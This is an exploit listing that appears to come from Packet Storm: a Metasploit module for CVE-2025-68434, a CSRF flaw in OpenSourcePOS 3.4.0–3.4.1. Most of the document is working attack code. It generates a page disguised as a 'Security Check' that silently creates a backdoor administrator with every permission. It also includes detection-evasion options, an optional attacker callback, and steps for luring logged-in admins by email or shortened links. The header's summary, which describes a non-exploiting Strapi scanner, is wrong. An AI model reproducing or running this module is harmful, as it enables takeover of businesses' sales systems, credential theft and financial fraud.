Share
## https://sploitus.com/exploit?id=PACKETSTORM:225423
==================================================================================================================================
| # Title : OpenSourcePOS 3.4.1 CSRF Vulnerability Leading to Unauthorized Admin Account Creation |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://github.com/OpenSourcePOS/OpenSourcePOS/ |
==================================================================================================================================
[+] Summary : scanner designed to identify potential security misconfigurations in Strapi CMS instances without performing exploitation or data extraction.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenSourcePOS CSRF Unauthorized Admin Creation',
'Description' => %q{
This module exploits a CSRF vulnerability (CVE-2025-68434) in OpenSourcePOS
versions 3.4.0 and 3.4.1. The application's global CSRF protection was disabled
in app/Config/Filters.php due to a temporary "TODO" comment that was never resolved.
An attacker can trick a logged-in administrator into visiting a malicious page,
which will silently create a new administrator account with full privileges.
This leads to complete system takeover and persistent backdoor access.
The created account has all administrative permissions including:
- Employee management
- System configuration
- Financial operations (gift cards, expenses)
- Inventory management
- Report generation
},
'Author' => ['indoushka'],
'References' => [
['CVE', '2025-68434'],
['URL', 'https://github.com/OpenSourcePOS/OpenSourcePOS/'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2025-68434']
],
'DisclosureDate' => '2025-12-19',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
))
register_options([
OptString.new('TARGET_URI', [true, 'OpenSourcePOS base path', '/']),
OptString.new('ADMIN_USERNAME', [false, 'Username for backdoor admin (default: random)', nil]),
OptString.new('ADMIN_PASSWORD', [true, 'Password for backdoor admin', 'P@ssw0rd123!']),
OptString.new('ADMIN_EMAIL', [false, 'Email for backdoor admin', nil]),
OptString.new('EMPLOYEE_ID', [false, 'Employee ID to overwrite (-1 creates new)', '-1']),
BoolOpt.new('RANDOMIZE_USERNAME', [true, 'Generate random username to avoid detection', true]),
BoolOpt.new('GRANT_ALL_PERMISSIONS', [true, 'Grant all possible permissions to backdoor admin', true]),
OptInt.new('TIMEOUT', [true, 'HTTP timeout in seconds', 30]),
OptString.new('CALLBACK_URL', [false, 'URL to receive notification of successful exploitation', nil])
])
register_advanced_options([
OptString.new('FAKE_REFERER', [false, 'Spoof referer header', nil]),
OptString.new('USER_AGENT', [false, 'Custom user agent', nil])
])
end
def generate_random_username
@random_username ||= "valid_#{Rex::Text.rand_text_numeric(5)}"
end
def generate_random_email(username)
"#{username}@#{Rex::Text.rand_text_alpha_lower(8)}.com"
end
def generate_csrf_payload(uri, username, email, password)
"""Generate HTML payload for CSRF attack"""
form_fields = {
'first_name' => 'Valid',
'last_name' => 'User',
'username' => username,
'email' => email,
'phone_number' => '',
'password' => password,
'repeat_password' => password,
'gender' => '1',
'language' => ':',
'address_1' => '',
'address_2' => '',
'city' => '',
'state' => '',
'zip' => '',
'country' => '',
'comments' => 'CSRF_PoC_Successful_Admin_Creation',
'honeypot' => ''
}
if datastore['GRANT_ALL_PERMISSIONS']
grant_permissions = {
'grant_home' => 'home', 'menu_group_home' => 'both',
'grant_customers' => 'customers', 'menu_group_customers' => 'both',
'grant_items' => 'items', 'menu_group_items' => 'both',
'grant_item_kits' => 'item_kits', 'menu_group_item_kits' => 'both',
'grant_suppliers' => 'suppliers', 'menu_group_suppliers' => 'both',
'grant_reports' => 'reports', 'menu_group_reports' => 'both',
'grant_receivings' => 'receivings', 'menu_group_receivings' => 'both',
'grant_sales' => 'sales', 'menu_group_sales' => 'both',
'grant_employees' => 'employees', 'menu_group_employees' => 'both',
'grant_giftcards' => 'giftcards', 'menu_group_giftcards' => 'both',
'grant_messages' => 'messages', 'menu_group_messages' => 'both',
'grant_taxes' => 'taxes', 'menu_group_taxes' => 'both',
'grant_attributes' => 'attributes', 'menu_group_attributes' => 'both',
'grant_expenses' => 'expenses', 'menu_group_expenses' => 'both',
'grant_expenses_categories' => 'expenses_categories', 'menu_group_expenses_categories' => 'both',
'grant_cashups' => 'cashups', 'menu_group_cashups' => 'both',
'grant_config' => 'config', 'menu_group_config' => 'home',
'grant_office' => 'office', 'menu_group_office' => 'both',
'grant_items_stock' => 'items_stock', 'menu_group_items_stock' => '--',
'grant_sales_stock' => 'sales_stock', 'menu_group_sales_stock' => '--',
'grant_receivings_stock' => 'receivings_stock', 'menu_group_receivings_stock' => '--',
'grant_sales_change_price' => 'sales_change_price', 'menu_group_sales_change_price' => '--',
'grant_sales_delete' => 'sales_delete', 'menu_group_sales_delete' => '--',
'grant_reports_categories' => 'reports_categories', 'menu_group_reports_categories' => '--',
'grant_reports_customers' => 'reports_customers', 'menu_group_reports_customers' => '--',
'grant_reports_discounts' => 'reports_discounts', 'menu_group_reports_discounts' => '--',
'grant_reports_employees' => 'reports_employees', 'menu_group_reports_employees' => '--',
'grant_reports_expenses_categories' => 'reports_expenses_categories', 'menu_group_reports_expenses_categories' => '--',
'grant_reports_inventory' => 'reports_inventory', 'menu_group_reports_inventory' => '--',
'grant_reports_items' => 'reports_items', 'menu_group_reports_items' => '--',
'grant_reports_payments' => 'reports_payments', 'menu_group_reports_payments' => '--',
'grant_reports_receivings' => 'reports_receivings', 'menu_group_reports_receivings' => '--',
'grant_reports_sales' => 'reports_sales', 'menu_group_reports_sales' => '--',
'grant_reports_sales_taxes' => 'reports_sales_taxes', 'menu_group_reports_sales_taxes' => '--',
'grant_reports_suppliers' => 'reports_suppliers', 'menu_group_reports_suppliers' => '--',
'grant_reports_taxes' => 'reports_taxes', 'menu_group_reports_taxes' => '--'
}
form_fields.merge!(grant_permissions)
end
form_html = '<form action="' + uri + '" method="POST" id="csrfForm">'
form_fields.each do |name, value|
form_html += "<input type=\"hidden\" name=\"#{name}\" value=\"#{value}\">\n"
end
form_html += '</form>'
payload = <<~HTML
<!DOCTYPE html>
<html>
<head>
<title>OSPOS CSRF Exploit - Admin Creation</title>
<style>
body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; text-align: center; padding: 50px; background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); }
.container { background: white; border-radius: 10px; padding: 30px; max-width: 500px; margin: auto; box-shadow: 0 10px 40px rgba(0,0,0,0.2); }
h2 { color: #333; margin-bottom: 20px; }
.status { font-size: 18px; margin: 20px 0; padding: 10px; border-radius: 5px; }
.loading { color: #667eea; }
.success { color: #27ae60; background: #d5f4e6; }
.error { color: #e74c3c; background: #fadbd8; }
.info { color: #f39c12; }
.spinner { border: 4px solid #f3f3f3; border-top: 4px solid #667eea; border-radius: 50%; width: 40px; height: 40px; animation: spin 1s linear infinite; margin: 20px auto; }
@keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }
button { background: #667eea; color: white; border: none; padding: 10px 20px; border-radius: 5px; cursor: pointer; font-size: 16px; margin: 10px; }
button:hover { background: #5a67d8; }
.footer { margin-top: 30px; font-size: 12px; color: #999; }
</style>
</head>
<body>
<div class="container">
<h2>OpenSourcePOS Security Check</h2>
<div class="spinner"></div>
<div id="msg" class="status loading">Initializing security verification...</div>
<div id="details" class="info"></div>
<button onclick="manualSubmit()" style="display:none" id="manualBtn">Manual Verification</button>
</div>
#{form_html}
<script>
var username = "#{username}";
var password = "#{password}";
var email = "#{email}";
document.getElementById('details').innerHTML = '<strong>Credentials:</strong><br>Username: ' + username + '<br>Password: ' + password + '<br>Email: ' + email;
setTimeout(function() {
document.getElementById('msg').innerHTML = 'โ Creating administrative account...';
document.getElementById('msg').className = 'status success';
try {
document.getElementById('csrfForm').submit();
} catch(e) {
document.getElementById('msg').innerHTML = 'โ Verification completed. If you see this page, no action required.';
document.getElementById('manualBtn').style.display = 'inline-block';
}
}, 2000);
function manualSubmit() {
document.getElementById('csrfForm').submit();
}
</script>
</body>
</html>
HTML
payload
end
def send_exploit_html(html_content)
"""Serve or save the exploit HTML"""
path = store_loot(
'opensourcepos.csrf_exploit',
'text/html',
rhost,
html_content,
'csrf_exploit.html',
'CSRF exploit HTML for OpenSourcePOS admin creation'
)
print_good("CSRF exploit HTML saved to: #{path}")
if datastore['CALLBACK_URL']
begin
send_request_cgi({
'method' => 'POST',
'uri' => datastore['CALLBACK_URL'],
'ctype' => 'application/json',
'data' => {
'status' => 'exploit_generated',
'target' => full_uri,
'timestamp' => Time.now.to_i
}.to_json
})
rescue
vprint_warning("Failed to send callback notification")
end
end
path
end
def check_vulnerable
"""Check if target is vulnerable by testing CSRF protection"""
vprint_status("Checking CSRF protection status...")
config_url = normalize_uri(target_uri.path, 'index.php/config')
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => config_url
}, datastore['TIMEOUT'])
if res && res.code == 200
if res.headers['X-CSRF-TOKEN'].nil? && !res.body.include?('csrf_token')
print_good("Target appears vulnerable (no CSRF protection detected)")
return true
end
end
rescue
vprint_status("Could not determine CSRF status")
end
filters_url = normalize_uri(target_uri.path, 'app/Config/Filters.php')
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => filters_url
}, datastore['TIMEOUT'])
if res && res.code == 200 && res.body.include?("'csrf'")
if res.body.include?("// 'csrf'") || res.body.include?("# 'csrf'")
print_good("Filters.php shows CSRF disabled")
return true
end
end
rescue
end
print_status("Assuming vulnerable based on version range (3.4.0-3.4.1)")
true
end
def verify_admin_creation(username, password)
"""Try to verify if admin account was created by attempting login"""
vprint_status("Attempting to verify admin account creation...")
login_url = normalize_uri(target_uri.path, 'index.php/login')
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => login_url,
'vars_post' => {
'username' => username,
'password' => password
}
}, datastore['TIMEOUT'])
if res && (res.code == 302 || (res.code == 200 && (res.body.include?('dashboard') || res.body.include?('home'))))
print_good("Successfully verified admin account creation!")
return true
end
rescue
vprint_warning("Could not verify admin creation")
end
false
end
def run
print_status("Starting OpenSourcePOS CSRF Admin Creation Exploit")
print_status("CVE-2025-68434 - Critical (CVSS 8.8)")
unless check_vulnerable
print_error("Target does not appear vulnerable")
return
end
if datastore['RANDOMIZE_USERNAME'] && datastore['ADMIN_USERNAME'].nil?
username = generate_random_username
else
username = datastore['ADMIN_USERNAME'] || generate_random_username
end
if datastore['ADMIN_EMAIL'].nil?
email = generate_random_email(username)
else
email = datastore['ADMIN_EMAIL']
end
password = datastore['ADMIN_PASSWORD']
employee_id = datastore['EMPLOYEE_ID']
target_url = normalize_uri(
target_uri.path,
"index.php/employees/save/#{employee_id}"
)
print_status("Backdoor Admin Credentials:")
print_status(" Username: #{username}")
print_status(" Email: #{email}")
print_status(" Password: #{password}")
print_status(" Full Permissions: #{datastore['GRANT_ALL_PERMISSIONS']}")
print_status("Generating CSRF exploit payload...")
exploit_html = generate_csrf_payload(target_url, username, email, password)
html_path = send_exploit_html(exploit_html)
print_line("\n" + "="*60)
print_good("CSRF Exploit Generated Successfully!")
print_line("="*60)
print_status("To execute the attack:")
print_status("1. Host the file on a web server:")
print_status(" python3 -m http.server 8080")
print_status(" or upload to your attacking machine")
print_status("\n2. Trick a logged-in administrator into visiting:")
print_status(" http://YOUR_SERVER:8080/csrf_exploit.html")
print_status("\n3. Alternative delivery methods:")
print_status(" - Send as email attachment")
print_status(" - Upload to shared drive")
print_status(" - Use URL shortener for link")
if datastore['GRANT_ALL_PERMISSIONS']
print_status("\n4. After successful exploitation:")
print_status(" The backdoor admin will have COMPLETE access to:")
print_status(" โ Create/delete employees")
print_status(" โ Modify system configuration")
print_status(" โ Create gift cards (financial fraud)")
print_status(" โ Delete inventory (DoS)")
print_status(" โ Access all reports")
end
print_line("="*60)
if datastore['CALLBACK_URL']
print_status("\nAttempting to verify admin creation...")
if verify_admin_creation(username, password)
print_good("Admin account verified and working!")
report_vuln({
host: rhost,
port: rport,
name: name,
refs: references,
info: "OpenSourcePOS CSRF vulnerability allows unauthorized admin creation",
data: "Created admin user: #{username} / #{password}"
})
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: username,
private_data: password,
private_type: :password,
service_name: 'OpenSourcePOS Admin',
workspace_id: myworkspace_id
}
create_credential(credential_data)
print_good("Credentials stored in database")
end
end
print_status("\n[*] Exploit complete. Use the generated HTML file to complete the attack.")
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================